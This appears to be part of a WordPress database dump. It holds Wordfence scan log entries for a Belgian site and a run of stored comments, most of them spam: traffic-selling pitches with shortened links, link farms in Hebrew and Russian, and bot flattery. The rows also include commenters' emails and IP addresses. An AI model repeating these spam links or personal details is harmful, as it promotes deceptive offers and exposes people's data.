(117071, 1491750769.608178, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44134 records in 30 seconds.'),
(118165, 1492320247.688144, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(118166, 1492320248.049489, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117030, 1491750761.718118, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(118169, 1492320248.941566, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(118170, 1492320249.322930, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117859, 1492193133.303087, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117860, 1492193133.304871, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117861, 1492193133.318723, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117862, 1492193133.319264, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117858, 1492193133.302140, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(117574, 1492058788.232664, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117573, 1492058788.231364, 2, 'info', 'Done host key check.'),
(117570, 1492058787.350698, 2, 'info', 'Scanned contents of 86 additional files at 25.72 per second'),
(117571, 1492058787.352420, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117572, 1492058787.354560, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117863, 1492193133.319704, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117140, 1491767413.628174, 2, 'info', 'Done examining URls'),
(117139, 1491767413.626814, 2, 'info', 'Done host key check.'),
(117029, 1491750761.689965, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(117644, 1492072414.450618, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117646, 1492072414.829213, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117645, 1492072414.680662, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117238, 1491821943.371512, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117239, 1491821943.375788, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(118139, 1492320231.488632, 10, 'info', 'SUM_PREP:Preparing a new scan.'),
(118140, 1492320231.519292, 10, 'info', 'SUM_PAIDONLY:Remote scan of public facing site only available to paid members'),
(117958, 1492265544.757927, 1, 'info', 'Scan Complete. Scanned 2413 files, 14 plugins, 4 themes, 11 pages, 145 comments and 44538 records in 32 seconds.'),
(118226, 1493013113.072155, 2, 'info', 'Scanning comment with Author: Elisa Brown Email: leyswgiuz@mrflazu.com Source IP: 81.171.97.125 '),
(117957, 1492265544.757502, 1, 'info', '-------------------'),
(117189, 1491821926.721731, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117190, 1491821927.140517, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117191, 1491821927.485144, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117192, 1491821927.684650, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117959, 1492265544.758313, 10, 'info', 'SUM_FINAL:Scan complete. You have 6 new issues to fix. See below.'),
(117960, 1492265544.762000, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117605, 1492058791.954996, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117606, 1492072396.633690, 1, 'info', 'Scheduled Wordfence scan starting at Thursday 13th of April 2017 08:33:16 AM'),
(118009, 1492280425.125035, 10, 'info', 'SUM_START:Scanning files for URLs in Google\'s Safe Browsing List'),
(118008, 1492280425.121561, 10, 'info', 'SUM_START:Scanning file contents for infections and vulnerabilities'),
(118007, 1492280425.093286, 10, 'info', 'SUM_ENDOK:Scanning for known malware files'),
(117163, 1491821909.618642, 1, 'info', 'Scheduled Wordfence scan starting at Monday 10th of April 2017 10:58:29 AM'),
(118056, 1492290925.037123, 10, 'info', 'SUM_ENDOK:Scanning your site for the HeartBleed vulnerability'),
(118055, 1492290921.304414, 10, 'info', 'SUM_START:Scanning your site for the HeartBleed vulnerability'),
(117480, 1491988777.609725, 2, 'info', 'Scanned contents of 86 additional files at 27.62 per second'),
(118031, 1492280432.112221, 10, 'info', 'SUM_START:Scanning for weak passwords'),
(118032, 1492280432.115079, 2, 'info', 'Starting password strength check on 3 users.'),
(117561, 1492058783.079761, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117479, 1491988776.584893, 2, 'info', 'Scanned contents of 39 additional files at 18.67 per second'),
(117477, 1491988774.494882, 2, 'info', 'Starting scan of file contents'),
(117478, 1491988775.547296, 2, 'info', 'Scanned contents of 28 additional files at 26.64 per second'),
(116982, 1491702321.868214, 1, 'info', '-------------------'),
(116983, 1491702321.869144, 1, 'info', 'Scan Complete. Scanned 2413 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43862 records in 34 seconds.'),
(117252, 1491886383.194369, 1, 'info', 'Scheduled Wordfence scan starting at Tuesday 11th of April 2017 04:53:03 AM'),
(116971, 1491702321.301605, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(116972, 1491702321.302322, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(116973, 1491702321.306007, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(116974, 1491702321.313586, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(116975, 1491702321.314284, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(116976, 1491702321.314763, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117772, 1492108252.880536, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117773, 1492108252.881029, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117774, 1492108252.881406, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117836, 1492193129.267133, 2, 'info', 'Scanned contents of 86 additional files at 27.14 per second'),
(118137, 1492290942.764713, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(118138, 1492320230.730340, 1, 'info', 'Scheduled Wordfence scan starting at Sunday 16th of April 2017 05:23:50 AM'),
(117217, 1491821938.982438, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117218, 1491821938.984399, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117216, 1491821938.981949, 2, 'info', 'Scanned contents of 86 additional files at 26.72 per second'),
(117215, 1491821938.979362, 2, 'info', 'Scanned contents of 86 additional files at 26.74 per second'),
(117214, 1491821937.950023, 2, 'info', 'Scanned contents of 39 additional files at 17.84 per second'),
(117213, 1491821936.857880, 2, 'info', 'Scanned contents of 28 additional files at 25.59 per second'),
(118037, 1492280433.178924, 2, 'info', 'Scanning DNS A record for crosstrainingcenter.be'),
(117212, 1491821935.762637, 2, 'info', 'Starting scan of file contents'),
(118035, 1492280433.175133, 2, 'info', 'Starting DNS scan for www.crosstrainingcenter.be'),
(118036, 1492280433.176128, 2, 'info', 'Scanning CNAME DNS record for www.crosstrainingcenter.be'),
(117993, 1492280419.011346, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117613, 1492072406.591878, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117994, 1492280419.357399, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117995, 1492280419.590116, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117996, 1492280419.928479, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117997, 1492280420.383053, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117998, 1492280421.419171, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117999, 1492280422.608813, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(118000, 1492280423.446765, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(118001, 1492280423.738092, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(118002, 1492280424.164657, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(118003, 1492280424.594735, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(118004, 1492280425.020011, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(118057, 1492290925.040585, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117904, 1492265530.323893, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117898, 1492265528.342211, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117899, 1492265528.643364, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117900, 1492265529.075023, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117901, 1492265529.404778, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(117902, 1492265529.557542, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(117903, 1492265529.906968, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117064, 1491750769.532131, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117063, 1491750769.531784, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117062, 1491750769.531340, 2, 'info', 'Scanning DNS MX record for crosstrainingcenter.be'),
(117819, 1492193120.926257, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117820, 1492193121.593978, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117821, 1492193122.595042, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117822, 1492193123.775098, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117880, 1492265522.310195, 1, 'info', 'Contacting Wordfence to initiate scan'),
(117747, 1492108248.385805, 2, 'info', 'Scanned contents of 56 additional files at 18.35 per second'),
(117823, 1492193124.016753, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117303, 1491886410.891745, 2, 'info', 'Scanned contents of 39 additional files at 18.30 per second'),
(117304, 1491886411.856837, 2, 'info', 'Scanned contents of 86 additional files at 27.78 per second'),
(117305, 1491886411.857229, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117306, 1491886411.858247, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117307, 1491886412.712643, 2, 'info', 'Done host key check.'),
(117308, 1491886412.714655, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117309, 1491886413.590731, 2, 'info', 'Done URL check.'),
(117310, 1491886413.607520, 2, 'info', 'Done file contents scan'),
(117744, 1492108245.332862, 2, 'info', 'Starting scan of file contents'),
(118209, 1492320260.797986, 10, 'info', 'SUM_ENDOK:Scanning for weak passwords'),
(118208, 1492320259.648499, 2, 'info', 'Starting password strength check on 3 users.'),
(117929, 1492265541.056105, 2, 'info', 'Checking 1 URLs from 1 sources.'),
(117930, 1492265541.933528, 2, 'info', 'Done URL check.'),
(118006, 1492280425.084668, 10, 'info', 'SUM_ENDOK:Comparing core WordPress files against originals in repository'),
(118005, 1492280425.082622, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117337, 1491886416.197572, 1, 'info', 'Scan Complete. Scanned 2411 files, 14 plugins, 4 themes, 11 pages, 145 comments and 43639 records in 33 seconds.'),
(117635, 1492072412.242743, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(118168, 1492320248.561467, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117809, 1492193117.391797, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(117810, 1492193117.700719, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117811, 1492193118.150278, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(117812, 1492193118.559895, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(118167, 1492320248.285222, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(118034, 1492280433.174121, 10, 'info', 'SUM_START:Scanning DNS for unauthorized changes'),
(117206, 1491821934.793681, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(118067, 1492290929.982592, 10, 'info', 'SUM_DISABLED:Skipping theme scan'),
(118033, 1492280433.165086, 10, 'info', 'SUM_ENDOK:Scanning for weak passwords'),
(117537, 1492058773.211522, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117207, 1491821934.849188, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(117543, 1492058774.852590, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117542, 1492058774.531758, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(118068, 1492290929.983145, 10, 'info', 'SUM_DISABLED:Skipping plugin scan'),
(118069, 1492290929.988825, 10, 'info', 'SUM_START:Scanning for known malware files'),
(118070, 1492290930.150517, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(118071, 1492290930.322597, 2, 'info', 'Analyzed 200 files containing 2.51 MB of data so far'),
(118072, 1492290930.484467, 2, 'info', 'Analyzed 300 files containing 3.26 MB of data so far'),
(118073, 1492290930.632957, 2, 'info', 'Analyzed 400 files containing 3.97 MB of data so far'),
(118074, 1492290930.794693, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(118075, 1492290930.942165, 2, 'info', 'Analyzed 600 files containing 6.21 MB of data so far'),
(118076, 1492290931.103734, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(118077, 1492290931.355899, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(118078, 1492290931.571112, 2, 'info', 'Analyzed 900 files containing 12.89 MB of data so far'),
(118079, 1492290931.749529, 2, 'info', 'Analyzed 1000 files containing 13.31 MB of data so far'),
(118080, 1492290931.991039, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(118081, 1492290932.156280, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(118082, 1492290932.398992, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(118083, 1492290932.552849, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(118084, 1492290932.671374, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117483, 1491988777.619980, 2, 'info', 'Checking 59 host keys against Wordfence scanning servers.'),
(117482, 1491988777.618677, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117780, 1492108252.943672, 1, 'info', '-------------------'),
(117219, 1491821939.856259, 2, 'info', 'Done host key check.'),
(117291, 1491886406.619184, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117292, 1491886406.875923, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117293, 1491886407.266508, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117924, 1492265539.187627, 2, 'info', 'Scanned contents of 39 additional files at 18.18 per second'),
(118191, 1492320256.881443, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(118190, 1492320256.879894, 2, 'info', 'Scanned contents of 86 additional files at 29.29 per second'),
(118189, 1492320255.987609, 2, 'info', 'Scanned contents of 41 additional files at 20.06 per second'),
(118188, 1492320254.983074, 2, 'info', 'Scanned contents of 28 additional files at 26.94 per second'),
(118187, 1492320253.943182, 2, 'info', 'Starting scan of file contents'),
(118186, 1492320253.046651, 10, 'info', 'SUM_START:Scanning files for URLs in Google\'s Safe Browsing List'),
(118185, 1492320253.041850, 10, 'info', 'SUM_START:Scanning file contents for infections and vulnerabilities'),
(118184, 1492320253.013817, 10, 'info', 'SUM_ENDOK:Scanning for known malware files'),
(118183, 1492320253.011604, 10, 'info', 'SUM_ENDOK:Comparing core WordPress files against originals in repository'),
(118182, 1492320253.010510, 2, 'info', 'Analyzed 2411 files containing 37.68 MB of data.'),
(118181, 1492320252.982623, 2, 'info', 'Analyzed 2400 files containing 37.51 MB of data so far'),
(118180, 1492320252.660807, 2, 'info', 'Analyzed 2300 files containing 34.88 MB of data so far'),
(118179, 1492320252.421174, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(118178, 1492320252.115644, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(116950, 1491702317.190081, 2, 'info', 'Scanned contents of 87 additional files at 29.60 per second'),
(116951, 1491702317.193297, 2, 'info', 'Asking Wordfence to check URL\'s against malware list.'),
(117547, 1492058776.321400, 2, 'info', 'Analyzed 1100 files containing 15.03 MB of data so far'),
(117548, 1492058776.783869, 2, 'info', 'Analyzed 1200 files containing 16.57 MB of data so far'),
(117549, 1492058777.076834, 2, 'info', 'Analyzed 1300 files containing 21.78 MB of data so far'),
(117550, 1492058777.236704, 2, 'info', 'Analyzed 1400 files containing 22.37 MB of data so far'),
(117551, 1492058777.449628, 2, 'info', 'Analyzed 1500 files containing 22.67 MB of data so far'),
(117552, 1492058777.747064, 2, 'info', 'Analyzed 1600 files containing 23.75 MB of data so far'),
(117553, 1492058778.070060, 2, 'info', 'Analyzed 1700 files containing 24.51 MB of data so far'),
(117554, 1492058778.951874, 2, 'info', 'Analyzed 1800 files containing 27.97 MB of data so far'),
(117555, 1492058780.683030, 2, 'info', 'Analyzed 1900 files containing 30.52 MB of data so far'),
(117556, 1492058781.174504, 2, 'info', 'Analyzed 2000 files containing 32.64 MB of data so far'),
(117557, 1492058781.382291, 2, 'info', 'Analyzed 2100 files containing 33.38 MB of data so far'),
(117558, 1492058781.790771, 2, 'info', 'Analyzed 2200 files containing 34.49 MB of data so far'),
(117074, 1491767380.193700, 1, 'info', 'Scheduled Wordfence scan starting at Sunday 9th of April 2017 07:49:40 PM'),
(117632, 1492072411.726452, 2, 'info', 'Analyzed 700 files containing 7.41 MB of data so far'),
(117633, 1492072411.927832, 2, 'info', 'Analyzed 800 files containing 10.45 MB of data so far'),
(118054, 1492290919.294364, 10, 'info', 'SUM_PAIDONLY:Checking if your IP is generating spam is for paid members only'),
(117516, 1491988782.040066, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(118227, 1493013113.164845, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.'),
(118228, 1493013114.066445, 2, 'info', 'Done host key check.'),
(118229, 1493013114.081588, 2, 'info', 'Scanned comment with Author: Elisa Brown Email: leyswgiuz@mrflazu.com Source IP: 81.171.97.125 '),
(117694, 1492072423.958439, 2, 'info', 'Wordfence used 56.53MB of memory for scan. Server peak memory usage was: 72.28MB'),
(117808, 1492193117.074159, 2, 'info', 'Analyzed 500 files containing 4.95 MB of data so far'),
(117448, 1491988761.650291, 2, 'info', 'Analyzed 100 files containing 1.02 MB of data so far'),
(117403, 1491943545.677182, 2, 'info', 'Checking 6 host keys against Wordfence scanning servers.');

-- --------------------------------------------------------

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(844599434, 1496262052, 10),
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(25, 1, 'Ractstums', 'dihufoforaxi@nokiamail.com', '', '5.29.35.42', '2013-12-01 21:33:39', '2013-12-01 21:33:39', 'Nice man \r\n \r\n \r\n&lt;a href=\&quot;http://flavors.me/elmoredtc507\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/zachariasmcd527\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/carylbbz354\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/aubriefby619\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/orsontds763\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/agnellapme676\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/gatesrbe672\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/adlerccb583\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/jaquenetteklu208\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/ritchiepfa385\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/audijfb688\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n&lt;a href=\&quot;http://flavors.me/jasonnbj222\&quot; rel=\&quot;nofollow\&quot;&gt;??????&lt;/a&gt; \r\n \r\nLesya2222sc', 0, '0', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; MRA 6.0 (build 6005); User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath', '', 0, 0),
(26, 1, 'Realallonry', 'miha@mail.ru', 'http://www.wow-level.ru', '178.151.216.52', '2013-12-02 08:54:43', '2013-12-02 08:54:43', 'Deniskrav \r\n \r\n&lt;a href=\&quot;http://passrealthestner70.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;איך מפסיקים לעשן&lt;/a&gt; \r\n&lt;a href=\&quot;http://bronectoimuf75.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;הדרך הקלה להפסיק לעשן&lt;/a&gt; \r\n&lt;a href=\&quot;http://chedistmongma87.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;להפסיק לעשן&lt;/a&gt; \r\n&lt;a href=\&quot;http://samrihelcapp64.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;הפסקת עישון&lt;/a&gt; \r\n&lt;a href=\&quot;http://tenranomoons67.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;הפסקת עישון&lt;/a&gt; \r\n&lt;a href=\&quot;http://gaisichestfor52.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;גמילה מניקוטין&lt;/a&gt; \r\n&lt;a href=\&quot;http://siotomosu83.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;זריקה להפסקת עישון&lt;/a&gt; \r\n&lt;a href=\&quot;http://pantgendheadsa62.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;כדורים להפסקת עישון&lt;/a&gt; \r\n&lt;a href=\&quot;http://jarlouronme65.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;גמילה מסיגריות&lt;/a&gt; \r\n&lt;a href=\&quot;http://himoselhand53.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;גמילה מסיגריות&lt;/a&gt; \r\n&lt;a href=\&quot;http://jackchapsstercom77.webix.me\&quot; rel=\&quot;nofollow\&quot;&gt;להפסיק לעשן&lt;/a&gt;', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0', '', 0, 0),
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(53, 1, 'Susan', 'tqkwrsgukzh@gmail.com', 'http://seob7.com/211f', '151.237.177.73', '2014-01-23 20:12:39', '2014-01-23 20:12:39', 'This is a comment to the admin. Your website is missing out on at least 300 visitors per day. I have found a company which offers to dramatically increase your visitors to your site: http://seob7.com/211a They offer 1,000 free visitors during their free trial period and I managed to get over 30,000 visitors per month using their services, you could also get lot more targeted visitors than you have now. Hope this helps :) Take care.', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(54, 1, 'Jennifer', 'uyetftio@gmail.com', 'http://seob7.com/211c', '151.237.180.100', '2014-01-25 07:57:36', '2014-01-25 07:57:36', 'We have decided to open our POWERFUL and PRIVATE website traffic system to the public for just a few days! You can sign up for our UP SCALE network with a free trial as we get started with the public\'s orders. Imagine how your bank account will look when your website gets the traffic it deserves. Visit us today: http://seob7.com/211c', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(55, 1, 'Donna', 'oigwnt@gmail.com', 'http://seob7.com/211k', '151.237.180.11', '2014-01-25 17:50:38', '2014-01-25 17:50:38', 'We have made the decision to open our POWERFUL and PRIVATE website traffic system to the public for just a few days! You can sign up for our UP SCALE network with a free trial as we get started with the public\'s orders. Imagine how your bank account will look when your website gets the traffic it needs. Visit us today: http://seob7.com/211k', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(56, 1, 'Jenny', 'lhomcfbrk@gmail.com', 'http://iam.at/1a3', '151.237.177.7', '2014-01-27 03:24:33', '2014-01-27 03:24:33', 'I came to your page and noticed you could have a lot more visitors. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get traffic from and they let you try the service for free. I managed to get over 300 targeted visitors to day to my website. Visit them today: http://crown.im/1581', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
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(58, 1, 'Pauline', 'sjbenb@gmail.com', 'http://accessfree.info/1dxc', '151.237.177.88', '2014-01-27 18:37:17', '2014-01-27 18:37:17', 'You need targeted traffic to your website so why not try some for free? There is a VERY POWERFUL and POPULAR company out there who now lets you try their traffic service for 7 days free of charge. I am so glad they opened their traffic system back up to the public! Sign up before it is too late: http://accessfree.info/1dxc', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0),
(59, 1, 'WilliamNam', 'larruopwes@gmail.com', 'http://elictervicor.ru', '91.200.14.96', '2014-01-28 02:05:39', '2014-01-28 02:05:39', 'After research just a few of the blog posts in your web site now, and I truly like your way of blogging. I bookmarked it to my bookmark web site record and can be checking back soon. Pls check out my site as effectively and let me know what you think.', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.12 (KHTML, like Gecko) Maxthon/3.0 Chrome/18.0.966.0 Safari/535.12', '', 0, 0),
(60, 1, 'alexahofman', 'karinalashkevich@gmail.com', 'http://oprosi.kz', '176.8.90.222', '2014-01-28 07:19:44', '2014-01-28 07:19:44', '&lt;a href=\&quot;http://studdom.kz\&quot; rel=\&quot;nofollow\&quot;&gt;Визитки высококачественно и по самым доступным ценам&lt;/a&gt;', 0, '0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1', '', 0, 0),
(61, 1, 'MartinAgek', 'martintip@gmail.com', 'http://worldkrasoty.ru/', '95.79.182.145', '2014-01-28 13:35:30', '2014-01-28 13:35:30', 'It not absolutely approaches me. Perhaps there are still variants?', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0', '', 0, 0),
(62, 1, 'alexahofman', 'karinalashkevich@gmail.com', 'http://perets.kz', '178.137.165.248', '2014-01-29 08:33:00', '2014-01-29 08:33:00', '&lt;a href=\&quot;http://impotence.kz\&quot; rel=\&quot;nofollow\&quot;&gt; гинекология бесплодие &lt;/a&gt;', 0, '0', 'Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.10', '', 0, 0),
(63, 1, 'Stacey', 'oehfqstn@gmail.com', 'http://go.pigmeu.net/6fX', '151.237.177.72', '2014-01-30 00:38:07', '2014-01-30 00:38:07', 'We have decided to open our POWERFUL and PRIVATE website traffic system to the public for just a few days! You can sign up for our UP SCALE network with a free trial as we get started with the public\'s orders. Imagine how your bank account will look when your website gets the traffic it deserves. Visit us today: http://go.pigmeu.net/6fX', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0),
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(65, 1, 'Katie', 'nyqvztzwmpz@gmail.com', 'http://ow.ly/sXRuL', '151.237.177.159', '2014-01-31 05:08:08', '2014-01-31 05:08:08', 'I discovered your page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get traffic from and they let you try the service for free. I managed to get over 300 targeted visitors to day to my website. Check it out here: http://iam.at/1a3', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(66, 1, 'Donna', 'kyjxqwy@gmail.com', 'http://pay4by.cc/rnwh', '151.237.177.157', '2014-02-01 13:29:38', '2014-02-01 13:29:38', 'You need targeted traffic to your website so why not try some for free? There is a VERY POWERFUL and POPULAR company out there who now lets you try their traffic service for 7 days free of charge. I am so glad they opened their traffic system back up to the public! Sign up before it is too late: http://ur7.us/pod', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
